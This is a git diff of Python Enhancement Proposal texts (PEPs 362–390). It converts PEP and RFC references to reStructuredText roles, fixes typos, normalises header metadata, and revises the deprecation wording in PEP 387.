return_annotation : object +* return_annotation \: object The "return" annotation for the function. If the function has no "return" annotation, this attribute is set to ``Signature.empty``. -* parameters : OrderedDict +* parameters \: OrderedDict An ordered mapping of parameters' names to the corresponding Parameter objects. @@ -134,16 +134,16 @@ function parameter. A Parameter object has the following public attributes and methods: -* name : str +* name \: str The name of the parameter as a string. Must be a valid python identifier name (with the exception of ``POSITIONAL_ONLY`` parameters, which can have it set to ``None``.) -* default : object +* default \: object The default value for the parameter. If the parameter has no default value, this attribute is set to ``Parameter.empty``. -* annotation : object +* annotation \: object The annotation for the parameter. If the parameter has no annotation, this attribute is set to ``Parameter.empty``. @@ -220,14 +220,14 @@ to the function's parameters. Has the following public attributes: -* arguments : OrderedDict +* arguments \: OrderedDict An ordered, mutable mapping of parameters' names to arguments' values. Contains only explicitly bound arguments. Arguments for which ``bind()`` relied on a default value are skipped. -* args : tuple +* args \: tuple Tuple of positional arguments values. Dynamically computed from the 'arguments' attribute. -* kwargs : dict +* kwargs \: dict Dict of keyword arguments values. Dynamically computed from the 'arguments' attribute. @@ -545,7 +545,7 @@ Annotation Checker Acceptance ========== -PEP 362 was accepted by Guido, Friday, June 22, 2012 [#accepted]_ . +:pep:`362` was accepted by Guido, Friday, June 22, 2012 [#accepted]_ . The reference implementation was committed to trunk later that day. diff --git a/pep-0364.txt b/pep-0364.txt index 80acf77a9f2..0210ad5caec 100644 --- a/pep-0364.txt +++ b/pep-0364.txt @@ -14,8 +14,8 @@ Post-History: Abstract ======== -PEP 3108 describes the reorganization of the Python standard library -for the Python 3.0 release [1]_. This PEP describes a +:pep:`3108` describes the reorganization of the Python standard library +for the Python 3.0 release. This PEP describes a mechanism for transitioning from the Python 2.x standard library to the Python 3.0 standard library. This transition will allow and encourage Python programmers to use the new Python 3.0 library names @@ -28,22 +28,22 @@ existing Python programs. Rationale ========= -PEP 3108 presents a rationale for Python standard library (stdlib) +:pep:`3108` presents a rationale for Python standard library (stdlib) reorganization. The reader is encouraged to consult that PEP for details about why and how the library will be reorganized. Should -PEP 3108 be accepted in part or in whole, then it is advantageous to +:pep:`3108` be accepted in part or in whole, then it is advantageous to allow Python programmers to begin the transition to the new stdlib module names in Python 2.x, so that they can write forward compatible code starting with Python 2.6. -Note that PEP 3108 proposes to remove some "silly old stuff", +Note that :pep:`3108` proposes to remove some "silly old stuff", i.e. modules that are no longer useful or necessary. The PEP you are reading does not address this because there are no forward compatibility issues for modules that are to be removed, except to stop using such modules. This PEP concerns only the mechanism by which mappings from old stdlib -names to new stdlib names are maintained. Please consult PEP 3108 for +names to new stdlib names are maintained. Please consult :pep:`3108` for all specific module renaming proposals. Specifically see the section titled ``Modules to Rename`` for guidelines on the old name to new name mappings. The few examples in this PEP are given for @@ -70,8 +70,8 @@ Two use cases supported by this PEP include renaming simple top-level modules, such as ``StringIO``, as well as modules within packages, such as ``email.MIMEText``. -In the former case, PEP 3108 currently recommends ``StringIO`` be -renamed to ``stringio``, following PEP 8 recommendations [2]_. +In the former case, :pep:`3108` currently recommends ``StringIO`` be +renamed to ``stringio``, following :pep:`8` recommendations. In the latter case, the email 4.0 package distributed with Python 2.5 already renamed ``email.MIMEText`` to ``email.mime.text``, although it @@ -120,13 +120,13 @@ Implementation Specification This section provides the full specification for how module renamings in Python 2.x are implemented. The central mechanism relies on -various import hooks as described in PEP 302 [3]_. Specifically +various import hooks as described in :pep:`302`. Specifically ``sys.path_importer_cache``, ``sys.path``, and ``sys.meta_path`` are all employed to provide the necessary functionality. When Python's import machinery is initialized, the oldlib package is imported. Inside oldlib there is a class called ``OldStdlibLoader``. -This class implements the PEP 302 interface and is automatically +This class implements the :pep:`302` interface and is automatically instantiated, with zero arguments. The constructor reads all the ``.mv`` files from the oldlib package directory, automatically registering all the remappings found in those ``.mv`` files. This is @@ -137,7 +137,7 @@ modules. Instead, you can access the global OldStdlibLoader instance via the ``sys.stdlib_remapper`` instance. Use this instance if you want programmatic access to the remapping machinery. -One important implementation detail: as needed by the PEP 302 API, a +One important implementation detail: as needed by the :pep:`302` API, a magic string is added to sys.path, and module __path__ attributes in order to hook in our remapping loader. This magic string is currently ```` and some changes were necessary to Python's site.py file @@ -230,25 +230,16 @@ Reference Implementation A reference implementation, in the form of a patch against the current (as of this writing) state of the Python 2.6 svn trunk, is available -as SourceForge patch #1675334 [4]_. Note that this patch includes a +as SourceForge patch #1675334 [1]_. Note that this patch includes a rename of ``cStringIO`` to ``cstringio``, but this is primarily for illustrative and unit testing purposes. Should the patch be accepted, -we might want to split this change off into other PEP 3108 changes. +we might want to split this change off into other :pep:`3108` changes. References ========== -.. [1] PEP 3108, Standard Library Reorganization, Cannon - (http://www.python.org/dev/peps/pep-3108) - -.. [2] PEP 8, Style Guide for Python Code, GvR, Warsaw - (http://www.python.org/dev/peps/pep-0008) - -.. [3] PEP 302, New Import Hooks, JvR, Moore - (http://www.python.org/dev/peps/pep-0302) - -.. [4] Reference implementation +.. [1] Reference implementation (http://bugs.python.org/issue1675334) Copyright diff --git a/pep-0365.txt b/pep-0365.txt index f52a617a11b..5fa99916718 100644 --- a/pep-0365.txt +++ b/pep-0365.txt @@ -5,6 +5,7 @@ Last-Modified: $Date$ Author: Phillip J. Eby Status: Rejected Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 30-Apr-2007 Post-History: 30-Apr-2007 diff --git a/pep-0366.txt b/pep-0366.txt index 302835919fd..9cb36ebd77f 100644 --- a/pep-0366.txt +++ b/pep-0366.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 01-May-2007 Python-Version: 2.6, 3.0 -Post-History: 1-May-2007, 4-Jul-2007, 7-Jul-2007, 23-Nov-2007 +Post-History: 01-May-2007, 04-Jul-2007, 07-Jul-2007, 23-Nov-2007 Abstract @@ -17,7 +17,7 @@ Abstract This PEP proposes a backwards compatible mechanism that permits the use of explicit relative imports from executable modules within packages. Such imports currently fail due to an awkward interaction -between PEP 328 and PEP 338. +between :pep:`328` and :pep:`338`. By adding a new module level attribute, this PEP allows relative imports to work automatically if the module is executed using the ``-m`` switch. @@ -35,7 +35,7 @@ be based on this attribute rather than the module ``__name__`` attribute. As with the current ``__name__`` attribute, setting ``__package__`` will -be the responsibility of the PEP 302 loader used to import a module. +be the responsibility of the :pep:`302` loader used to import a module. Loaders which use ``imp.new_module()`` to create the module object will have the new attribute set automatically to ``None``. When the import system encounters an explicit relative import in a module without @@ -91,7 +91,7 @@ This PEP is intended to provide a solution which permits explicit relative imports from main modules, without incurring any significant costs during interpreter startup or normal module import. -The section in PEP 338 on relative imports and the main module provides +The section in :pep:`338` on relative imports and the main module provides further details and background on this problem. @@ -108,7 +108,7 @@ Patch 1487 [4] is the proposed implementation for this PEP. Alternative Proposals ===================== -PEP 3122 proposed addressing this problem by changing the way +:pep:`3122` proposed addressing this problem by changing the way the main module is identified. That's a significant compatibility cost to incur to fix something that is a pretty minor bug in the overall scheme of things, and the PEP was rejected [3]_. diff --git a/pep-0367.txt b/pep-0367.txt index e62e23219e8..89ca5877837 100644 --- a/pep-0367.txt +++ b/pep-0367.txt @@ -9,12 +9,15 @@ Type: Standards Track Content-Type: text/x-rst Created: 28-Apr-2007 Python-Version: 2.6 -Post-History: 28-Apr-2007, 29-Apr-2007 (1), 29-Apr-2007 (2), 14-May-2007 +Post-History: `28-Apr-2007 `__, + `29-Apr-2007 `__, + `29-Apr-2007 `__, + `14-May-2007 `__ Numbering Note ============== -This PEP has been renumbered to PEP 3135. The text below is the last +This PEP has been renumbered to :pep:`3135`. The text below is the last version submitted under the old number. Abstract @@ -481,7 +484,7 @@ The proposal adds a dynamic attribute lookup to the super type, which will automatically determine the proper class and instance parameters. Each super attribute lookup identifies these parameters and performs the super lookup on the instance, as the current super implementation does with the explicit -invokation of a super instance upon a class and instance. +invocation of a super instance upon a class and instance. This proposal relies on sys._getframe(), which is not appropriate for anything except a prototype implementation. diff --git a/pep-0368.txt b/pep-0368.txt index 82b030a817d..319e7bf6ad2 100644 --- a/pep-0368.txt +++ b/pep-0368.txt @@ -492,7 +492,7 @@ Non-planar images offer the following additional methods: The ``mode``, ``size`` and ``buffer`` (including the address in memory of the ``buffer``) never change after an image is created. -It is expected that, if PEP 3118 is accepted, all the image objects +It is expected that, if :pep:`3118` is accepted, all the image objects will support the new buffer protocol, however this is beyond the scope of this PEP. @@ -797,7 +797,7 @@ compatibility should be considered: functionality, so no major compatibility issues are expected. * **Python 3.0**: the legacy contents of the ``imageop`` module will - be deleted, according to PEP 3108; everything defined in this + be deleted, according to :pep:`3108`; everything defined in this proposal will work like in Python 2.x with the exception of the usual 2.x/3.0 differences (e.g. support for ``long`` integers and for interpreting ``str`` instances as sequences of bytes will be diff --git a/pep-0369.txt b/pep-0369.txt index 6c40112a9b1..40caa8c663c 100644 --- a/pep-0369.txt +++ b/pep-0369.txt @@ -34,7 +34,7 @@ Rationale ========= Python has no API to hook into the import machinery and execute code -*after* a module is successfully loaded. The import hooks of PEP 302 are +*after* a module is successfully loaded. The import hooks of :pep:`302` are about finding modules and loading modules but they were not designed to as post import hooks. diff --git a/pep-0371.txt b/pep-0371.txt index 54b858a9943..0b2a32df2ec 100644 --- a/pep-0371.txt +++ b/pep-0371.txt @@ -8,7 +8,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 06-May-2008 -Python-Version: 2.6 / 3.0 +Python-Version: 2.6, 3.0 Post-History: @@ -56,7 +56,7 @@ their programming paradigm (i.e.: dropping threaded programming for another "concurrent" approach - Twisted, Actors, etc). The Processing package offers CPython a "known API" which mirrors -albeit in a PEP 8 compliant manner, that of the threading API, +albeit in a :pep:`8` compliant manner, that of the threading API, with known semantics and easy scalability. In the future, the package might not be as relevant should the @@ -82,7 +82,7 @@ simple change of the import to:: from processing import process as worker The code would now execute through the processing.process class. -Obviously, with the renaming of the API to PEP 8 compliance there +Obviously, with the renaming of the API to :pep:`8` compliance there would be additional renaming which would need to occur within user applications, however minor. @@ -331,9 +331,9 @@ API Naming While the aim of the package's API is designed to closely mimic that of the threading and ``Queue`` modules as of python 2.x, those modules are not -PEP 8 compliant. It has been decided that instead of adding the package -"as is" and therefore perpetuating the non-PEP 8 compliant naming, we -will rename all APIs, classes, etc to be fully PEP 8 compliant. +:pep:`8` compliant. It has been decided that instead of adding the package +"as is" and therefore perpetuating the non-:pep:`8` compliant naming, we +will rename all APIs, classes, etc to be fully :pep:`8` compliant. This change does affect the ease-of-drop in replacement for those using the threading module, but that is an acceptable side-effect in the view @@ -341,11 +341,11 @@ of the authors, especially given that the threading module's own API will change. Issue 3042 in the tracker proposes that for Python 2.6 there will be -two APIs for the threading module - the current one, and the PEP 8 +two APIs for the threading module - the current one, and the :pep:`8` compliant one. Warnings about the upcoming removal of the original java-style API will be issued when -3 is invoked. -In Python 3000, the threading API will become PEP 8 compliant, which +In Python 3000, the threading API will become :pep:`8` compliant, which means that the multiprocessing module and the threading module will again have matching APIs. diff --git a/pep-0372.txt b/pep-0372.txt index a63ca5391d5..0027c0b7bf7 100644 --- a/pep-0372.txt +++ b/pep-0372.txt @@ -2,7 +2,7 @@ PEP: 372 Title: Adding an ordered dictionary to collections Version: $Revision$ Last-Modified: $Date$ -Author: Armin Ronacher +Author: Armin Ronacher , Raymond Hettinger Status: Final Type: Standards Track @@ -69,7 +69,7 @@ situations: Additionally, many ordered dicts are implemented in an inefficient way, making many operations more complex then they have to be. -- PEP 3115 allows metaclasses to change the mapping object used for +- :pep:`3115` allows metaclasses to change the mapping object used for the class body. An ordered dict could be used to create ordered member declarations similar to C structs. This could be useful, for example, for future ``ctypes`` releases as well as ORMs that define @@ -249,7 +249,7 @@ What are the trade-offs of the possible underlying data structures? the code a little bit more complex. All of the basic operations are O(1) but the constant factor is increased for __setitem__() and __delitem__() meaning that every use case will have to pay for this speedup (since all - buildup go through __setitem__). Also, the first traveral incurs a + buildup go through __setitem__). Also, the first traversal incurs a one-time ``O(n log n)`` sorting cost. The storage costs are double that for the sorted-list-of-keys approach. diff --git a/pep-0373.txt b/pep-0373.txt index 2adcb8149c7..c330ee4d407 100644 --- a/pep-0373.txt +++ b/pep-0373.txt @@ -28,14 +28,14 @@ Update (April 2014) The End Of Life date (EOL, sunset date) for Python 2.7 has been moved five years into the future, to 2020. This decision was made to clarify the status of Python 2.7 and relieve worries for those users -who cannot yet migrate to Python 3. See also PEP 466. +who cannot yet migrate to Python 3. See also :pep:`466`. This declaration does not guarantee that bugfix releases will be made on a regular basis, but it should enable volunteers who want to contribute bugfixes for Python 2.7 and it should satisfy vendors who still have to support Python 2 for years to come. -There will be no Python 2.8 (see PEP 404). +There will be no Python 2.8 (see :pep:`404`). Release Manager and Crew diff --git a/pep-0374.txt b/pep-0374.txt index b05c2245501..f6228d8572b 100644 --- a/pep-0374.txt +++ b/pep-0374.txt @@ -11,7 +11,7 @@ Status: Final Type: Process Content-Type: text/x-rst Created: 07-Nov-2008 -Post-History: 07-Nov-2008 +Post-History: 07-Nov-2008, 22-Jan-2009 @@ -663,7 +663,7 @@ hg git ''' We assume a patch created by git-format-patch. This is a Unix mbox -file containing one or more patches, each formatted as an RFC 2822 +file containing one or more patches, each formatted as an :rfc:`2822` message. git-am interprets each message as a commit as follows. The author of the patch is taken from the From: header, the date from the Date header. The commit log is created by concatenating the content @@ -1101,7 +1101,7 @@ looms. Doing a Python Release ---------------------- -How does PEP 101 change when using a DVCS? +How does :pep:`101` change when using a DVCS? bzr @@ -1122,7 +1122,7 @@ release off the bzr/hg mirrors. hg '' -Clearly, details specific to Subversion in PEP 101 and in the +Clearly, details specific to Subversion in :pep:`101` and in the release script will need to be updated. In particular, release tagging and maintenance branches creation process will have to be modified to use Mercurial's features; this will simplify and @@ -1443,7 +1443,7 @@ admitted that svn does not serve the needs of non-committers as well as a DVCS does. Because svn only provides its features such as version control, branching, etc. to people with commit privileges on the repository it can be a hindrance for people who lack commit -privileges. But DVCSs have no such limitiation as anyone can create a +privileges. But DVCSs have no such limitation as anyone can create a local branch of Python and perform their own local commits without the burden that comes with cloning the entire svn repository. Allowing anyone to have the same workflow as the core developers was the key @@ -1508,7 +1508,7 @@ was to be the next version control system for Python. Transition Plan =============== -PEP 385 outlines the transition from svn to hg. +:pep:`385` outlines the transition from svn to hg. Copyright diff --git a/pep-0375.txt b/pep-0375.txt index b3095125143..26b958b15c0 100644 --- a/pep-0375.txt +++ b/pep-0375.txt @@ -67,7 +67,7 @@ Features for 3.1 - importlib - io in C - Update simplejson to the latest external version [#simplejson]_. -- Ordered dictionary for collections [#ordered]_. +- Ordered dictionary for collections (:pep:`372`). - auto-numbered replacement fields in str.format() strings [#strformat]_ - Nested with-statements in one with statement @@ -78,9 +78,6 @@ Footnotes .. [#simplejson] http://bugs.python.org/issue4136 -.. [#ordered] PEP 372 - http://www.python.org/dev/peps/pep-0372/ - .. [#strformat] http://bugs.python.org/issue5237 diff --git a/pep-0376.txt b/pep-0376.txt index 82481aadad4..6afb128f827 100644 --- a/pep-0376.txt +++ b/pep-0376.txt @@ -5,6 +5,7 @@ Last-Modified: $Date$ Author: Tarek Ziadé Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 22-Feb-2009 Python-Version: 2.7, 3.2 @@ -21,10 +22,10 @@ To achieve this goal, the PEP proposes a new format to describe installed distributions on a system. It also describes a reference implementation for the standard library. -In the past an attempt was made to create an installation database (see PEP 262 -[#pep262]_). +In the past an attempt was made to create an installation database (see :pep:`262` +). -Combined with PEP 345, the current proposal supersedes PEP 262. +Combined with :pep:`345`, the current proposal supersedes :pep:`262`. Note: the implementation plan didn't go as expected, so it should be considered informative only for this PEP. @@ -61,7 +62,7 @@ extra module and executable scripts, three elements are installed in - ``docutils``: The ``docutils`` package. - ``roman.py``: An extra module used by ``docutils``. - ``docutils-0.5-py2.6.egg-info``: A file containing the distribution metadata - as described in PEP 314 [#pep314]_. This file corresponds to the file + as described in :pep:`314`. This file corresponds to the file called ``PKG-INFO``, built by the ``sdist`` command. Some executable scripts, such as ``rst2html.py``, are also added in the @@ -151,7 +152,7 @@ This distinct directory is named as follows:: This ``.dist-info`` directory can contain these files: -- ``METADATA``: contains metadata, as described in PEP 345, PEP 314 and PEP 241. +- ``METADATA``: contains metadata, as described in :pep:`345`, :pep:`314` and :pep:`241`. - ``RECORD``: records the list of installed files - ``INSTALLER``: records the name of the tool used to install the project - ``REQUESTED``: the presence of this file indicates that the project @@ -187,7 +188,7 @@ should be used when creating system packages. Third-party installation tools also should not overwrite or delete files that are not in a RECORD file without prompting or warning. -This RECORD file is inspired from PEP 262 FILES [#pep262]_. +This RECORD file is inspired from :pep:`262` FILES. The ``RECORD`` file is a CSV file, composed of records, one line per installed file. The ``csv`` module is used to read the file, with @@ -239,7 +240,7 @@ The ``csv`` module is used to generate this file, so the field separator is ``csv``. When the file is read, the ``U`` option is used so the universal newline -support (see PEP 278 [#pep278]_) is activated, avoiding any trouble +support (see :pep:`278`) is activated, avoiding any trouble reading a file produced on a platform that uses a different new line terminator. @@ -443,8 +444,8 @@ And following methods: Notice that the API is organized in five classes that work with directories -and Zip files (so it works with files included in Zip files, see PEP 273 for -more details [#pep273]_). These classes are described in the documentation +and Zip files (so it works with files included in Zip files, see :pep:`273` for +more details). These classes are described in the documentation of the prototype implementation for interested readers [#prototype]_. Examples @@ -498,7 +499,7 @@ Distutils already provides a very basic way to install a distribution, which is running the ``install`` command over the ``setup.py`` script of the distribution. -Distutils2 [#pep262]_ will provide a very basic ``uninstall`` function, that +:pep:`Distutils2 <262>` will provide a very basic ``uninstall`` function, that is added in ``distutils2.util`` and takes the name of the distribution to uninstall as its argument. ``uninstall`` uses the APIs described earlier and remove all unique files, as long as their hash didn't change. Then it removes @@ -610,12 +611,6 @@ References .. [#distutils2] http://hg.python.org/distutils2 -.. [#pep262] - http://www.python.org/dev/peps/pep-0262 - -.. [#pep314] - http://www.python.org/dev/peps/pep-0314 - .. [#setuptools] http://peak.telecommunity.com/DevCenter/setuptools @@ -628,12 +623,6 @@ References .. [#eggformats] http://peak.telecommunity.com/DevCenter/EggFormats -.. [#pep273] - http://www.python.org/dev/peps/pep-0273 - -.. [#pep278] - http://www.python.org/dev/peps/pep-0278 - .. [#fedora] http://fedoraproject.org/wiki/Packaging/Python/Eggs#Providing_Eggs_using_Setuptools diff --git a/pep-0377.txt b/pep-0377.txt index 7f313256ded..ef3184bc399 100644 --- a/pep-0377.txt +++ b/pep-0377.txt @@ -51,7 +51,7 @@ clause unbound in this case, a new ``StatementSkipped`` singleton (similar to the existing ``NotImplemented`` singleton) will be assigned to all names that appear in the ``as`` clause. -The components of the ``with`` statement remain as described in PEP 343 [2]_:: +The components of the ``with`` statement remain as described in :pep:`343`:: with EXPR as VAR: BLOCK @@ -266,9 +266,6 @@ References .. [1] Issue 5251: contextlib.nested inconsistent with nested with statements (http://bugs.python.org/issue5251) -.. [2] PEP 343: The "with" Statement - (http://www.python.org/dev/peps/pep-0343/) - .. [3] Import-style syntax to reduce indentation of nested with statements (https://mail.python.org/pipermail/python-ideas/2009-March/003188.html) diff --git a/pep-0378.txt b/pep-0378.txt index 01a6b76c83a..da22939155c 100644 --- a/pep-0378.txt +++ b/pep-0378.txt @@ -7,7 +7,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 12-Mar-2009 -Python-Version: 2.7 and 3.1 +Python-Version: 2.7, 3.1 Post-History: 12-Mar-2009 @@ -92,7 +92,7 @@ Current Version of the Mini-Language .. _Python 2.6 docs: https://docs.python.org/2.6/library/string.html#formatstrings -* PEP 3101 Advanced String Formatting +* :pep:`3101` Advanced String Formatting Research into what Other Languages Do diff --git a/pep-0381.txt b/pep-0381.txt index 76b5d5b1817..2bfad7c1e31 100644 --- a/pep-0381.txt +++ b/pep-0381.txt @@ -5,9 +5,9 @@ Last-Modified: $Date$ Author: Tarek Ziadé , Martin v. Löwis Status: Withdrawn Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 21-Mar-2009 -Python-Version: N.A. Post-History: @@ -120,7 +120,7 @@ attack, package authors need to sign their packages using PGP keys, so that users verify that the package comes from the author they trust. The central index provides a DSA key at the URL /serverkey, in the PEM -format as generated by "openssl dsa -pubout" (i.e. RFC 3280 +format as generated by "openssl dsa -pubout" (i.e. :rfc:`3280` SubjectPublicKeyInfo, with the algorithm 1.3.14.3.2.12). This URL must *not* be mirrored, and clients must fetch the official serverkey from PyPI directly, or use the copy that came with the PyPI client software. @@ -128,8 +128,8 @@ Mirrors should still download the key, to detect a key rollover. For each package, a mirrored signature is provided at /serversig/. This is the DSA signature of the parallel URL -/simple/, in DER form, using SHA-1 with DSA (i.e. as a RFC -3279 Dsa-Sig-Value, created by algorithm 1.2.840.10040.4.3) +/simple/, in DER form, using SHA-1 with DSA (i.e. as a +:rfc:`3279` Dsa-Sig-Value, created by algorithm 1.2.840.10040.4.3) Clients using a mirror need to perform the following steps to verify a package: @@ -193,7 +193,7 @@ via it. This is used by PyPI to sum up all downloads, to be able to display the grand total. These statistics are in CSV-like form, with a header in the first -line. It needs to obey PEP 305 [#pep305]_. Basically, it should be +line. It needs to obey :pep:`305`. Basically, it should be readable by Python's `csv` module. The fields in this file are: @@ -307,7 +307,7 @@ Extra package indexes It is obvious that some packages will not be uploaded to PyPI, whether because they are private or whether because the project maintainer -runs his own server where people might get the project package. +runs their own server where people might get the project package. However, it is strongly encouraged that a public package index follows PyPI and Distutils protocols. @@ -344,9 +344,6 @@ It is up the client to deal with the merging. References ========== -.. [#pep305] - http://www.python.org/dev/peps/pep-0305/#id19 - .. [#pep381client] http://pypi.python.org/pypi/pep381client diff --git a/pep-0382.txt b/pep-0382.txt index bc18474e69d..520c33c0135 100644 --- a/pep-0382.txt +++ b/pep-0382.txt @@ -14,7 +14,7 @@ Rejection Notice ================ On the first day of sprints at US PyCon 2012 we had a long and -fruitful discussion about PEP 382 and PEP 402. We ended up rejecting +fruitful discussion about :pep:`382` and :pep:`402`. We ended up rejecting both but a new PEP will be written to carry on in the spirit of PEP 402. Martin von Löwis wrote up a summary: [2]_. @@ -131,7 +131,7 @@ this: Impact on Import Hooks ---------------------- -Both loaders and finders as defined in PEP 302 will need to be changed +Both loaders and finders as defined in :pep:`302` will need to be changed to support namespace packages. Failure to conform to the protocol below might cause a package not being recognized as a namespace package; loaders and finders not supporting this protocol must raise @@ -178,9 +178,9 @@ Dinu Gherman then observed that using a marker file is not necessary, and that a directory extension could well serve as a such as a marker. This is what this PEP currently proposes. -Phillip Eby designed PEP 402 as an alternative approach to this PEP, +Phillip Eby designed :pep:`402` as an alternative approach to this PEP, after comparing Python's package syntax with that found in other -languages. PEP 402 proposes not to use a marker file at all. At the +languages. :pep:`402` proposes not to use a marker file at all. At the discussion at PyCon DE 2011, people remarked that having an explicit declaration of a directory as contributing to a package is a desirable property, rather than an obstacle. In particular, Jython developers diff --git a/pep-0383.txt b/pep-0383.txt index f332ae78a79..40ea162889e 100644 --- a/pep-0383.txt +++ b/pep-0383.txt @@ -64,7 +64,7 @@ Specification On Windows, Python uses the wide character APIs to access character-oriented APIs, allowing direct conversion of the -environmental data to Python str objects ([1]_). +environmental data to Python str objects (:pep:`277`). On POSIX systems, Python currently applies the locale's encoding to convert the byte data to Unicode, failing for characters that cannot @@ -72,7 +72,7 @@ be decoded. With this PEP, non-decodable bytes >= 128 will be represented as lone surrogate codes U+DC80..U+DCFF. Bytes below 128 will produce exceptions; see the discussion below. -To convert non-decodable bytes, a new error handler ([2]_) +To convert non-decodable bytes, a new error handler (:pep:`293`) "surrogateescape" is introduced, which produces these surrogates. On encoding, the error handler converts the surrogate back to the corresponding byte. This error handler will be used in any API that @@ -171,14 +171,6 @@ case; other libraries may show similar problems. References ========== -.. [1] PEP 277 - "Unicode file name support for Windows NT" - http://www.python.org/dev/peps/pep-0277/ - -.. [2] PEP 293 - "Codec Error Handling Callbacks" - http://www.python.org/dev/peps/pep-0293/ - .. [3] UTF-8b http://permalink.gmane.org/gmane.comp.internationalization.linux/920 diff --git a/pep-0384.txt b/pep-0384.txt index 9100ddfdb22..95d6c879d69 100644 --- a/pep-0384.txt +++ b/pep-0384.txt @@ -344,7 +344,7 @@ applications conforming to this PEP should then link to the former but rather rely on runtime linking). The ABI version is symbolically available as ``PYTHON_ABI_VERSION``. -Also on Unix, the PEP 3149 tag abi is accepted +Also on Unix, the :pep:`3149` tag abi is accepted in file names of extension modules. No checking is performed that files named in this way are actually restricted to the limited API, and no support for building such files will be added to distutils diff --git a/pep-0385.txt b/pep-0385.txt index 8495717a6c4..6a4d20e7ab2 100644 --- a/pep-0385.txt +++ b/pep-0385.txt @@ -19,7 +19,7 @@ migration still has to be performed. In the case of an important piece of infrastructure like the version control system for a large, distributed project like Python, this is a significant effort. This PEP is an attempt to describe the steps that must be taken for further -discussion. It's somewhat similar to `PEP 347`_, which discussed the +discussion. It's somewhat similar to :pep:`347`, which discussed the migration to SVN. To make the most of hg, we would like to make a high-fidelity @@ -37,7 +37,6 @@ contents of the repository and determine if some things are still valuable. In this spirit, the following sections also propose discarding some of the older metadata. -.. _PEP 347: http://www.python.org/dev/peps/pep-0347/ .. _hgsubversion: http://bitbucket.org/durin42/hgsubversion/ diff --git a/pep-0386.txt b/pep-0386.txt index ba009ff87a5..aa7f964cb04 100644 --- a/pep-0386.txt +++ b/pep-0386.txt @@ -5,6 +5,7 @@ Last-Modified: $Date$ Author: Tarek Ziadé Status: Superseded Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 04-Jun-2009 Superseded-By: 440 @@ -14,7 +15,7 @@ Abstract ======== Note: This PEP has been superseded by the version identification and -dependency specification scheme defined in PEP 440. +dependency specification scheme defined in :pep:`440`. This PEP proposed a new version comparison schema system in Distutils. @@ -30,7 +31,7 @@ current users, such as PyPI usually consider the latest version pushed as the Distutils will soon extend its capabilities to allow distributions to express a dependency on other distributions through the ``Requires-Dist`` metadata field -(see PEP 345) and it will optionally allow use of that field to +(see :pep:`345`) and it will optionally allow use of that field to restrict the dependency to a set of compatible versions. Notice that this field is replacing ``Requires`` that was expressing dependencies on modules and packages. diff --git a/pep-0387.txt b/pep-0387.txt index ed40c99dffe..8454c960cde 100644 --- a/pep-0387.txt +++ b/pep-0387.txt @@ -3,8 +3,8 @@ Title: Backwards Compatibility Policy Version: $Revision$ Last-Modified: $Date$ Author: Benjamin Peterson -BDFL-Delegate: Brett Cannon (on behalf of the steering council) -Discussions-To: https://discuss.python.org/t/pep-387-backwards-compatibilty-policy/ +PEP-Delegate: Brett Cannon +Discussions-To: https://discuss.python.org/t/pep-387-backwards-compatibilty-policy/4421 Status: Active Type: Process Content-Type: text/x-rst @@ -79,7 +79,7 @@ be removed at any time in any way. These include: subdirectories of packages.) - Backward compatibility rules do not apply to any module or API that is - explicitly documented as **Provisional** per PEP 411. + explicitly documented as **Provisional** per :pep:`411`. Basic policy for backwards compatibility @@ -101,6 +101,9 @@ Basic policy for backwards compatibility * Similarly a feature cannot be removed without notice between any two consecutive releases. +* For changes that are unable to raise a deprecation warning, consult + with the steering council. + * The steering council may grant exceptions to this policy. In particular, they may shorten the required deprecation period for a feature. Exceptions are only granted for extreme situations such as @@ -131,8 +134,11 @@ several releases: incompatibility is expected to become the default and a link to an issue that users can post feedback to. -3. Wait for the warning to appear in at least two major Python - versions. It's fine to wait more than two releases. +3. Wait for the warning to appear in at least two minor Python + versions of the same major version, or one minor version in an older + major version (e.g. for a warning in Python 3.10, you either wait + until at least Python 3.12 or Python 4.0 to make the change). + It's fine to wait more than two releases. 4. See if there's any feedback. Users not involved in the original discussions may comment now after seeing the warning. Perhaps @@ -142,6 +148,9 @@ several releases: permanent having reached the declared version. Remove the old version and warning. +6. If a warning cannot be provided to users, consult with the steering + council. + References ========== diff --git a/pep-0389.txt b/pep-0389.txt index ec7b53f3a0c..19f5d7d206b 100644 --- a/pep-0389.txt +++ b/pep-0389.txt @@ -7,7 +7,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 25-Sep-2009 -Python-Version: 2.7 and 3.2 +Python-Version: 2.7, 3.2 Post-History: 27-Sep-2009, 24-Oct-2009 @@ -42,7 +42,7 @@ a valuable addition to the Python libraries. Why aren't getopt and optparse enough? ====================================== -One argument against adding argparse is that thare are "already two +One argument against adding argparse is that there are "already two different option parsing modules in the standard library" [9]_. The following is a list of features provided by argparse but not present in getopt or optparse: diff --git a/pep-0390.txt b/pep-0390.txt index 524901f463d..f10d4fd5386 100644 --- a/pep-0390.txt +++ b/pep-0390.txt @@ -4,12 +4,13 @@ Version: $Revision$ Last-Modified: $Date$ Author: Tarek Ziadé BDFL-Delegate: Nick Coghlan -Discussions-To: +Discussions-To: distutils-sig@python.org Status: Rejected Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 10-Oct-2009 -Python-Version: 2.7 and 3.2 +Python-Version: 2.7, 3.2 Post-History: Resolution: https://mail.python.org/pipermail/distutils-sig/2013-April/020597.html @@ -26,7 +27,7 @@ Rejection Notice As distutils2 is no longer going to be incorporated into the standard library, this PEP was rejected by Nick Coghlan in late April, 2013. -A replacement PEP based on PEP 426 (metadata 2.0) will be created that +A replacement PEP based on :pep:`426` (metadata 2.0) will be created that defines the minimum amount of information needed to generate an sdist archive given a source tarball or VCS checkout. @@ -34,7 +35,7 @@ archive given a source tarball or VCS checkout. Rationale ========= -Today, if you want to list all the Metadata of a distribution (see PEP 314) +Today, if you want to list all the Metadata of a distribution (see :pep:`314`) that is not installed, you need to use the ``setup.py`` command line interface. So, basically, you download it, and run:: @@ -86,7 +87,7 @@ Multi-lines values ================== Some Metadata fields can have multiple values. To keep ``setup.cfg`` compatible -with ``ConfigParser`` and the RFC 822 ``LONG HEADER FIELDS`` 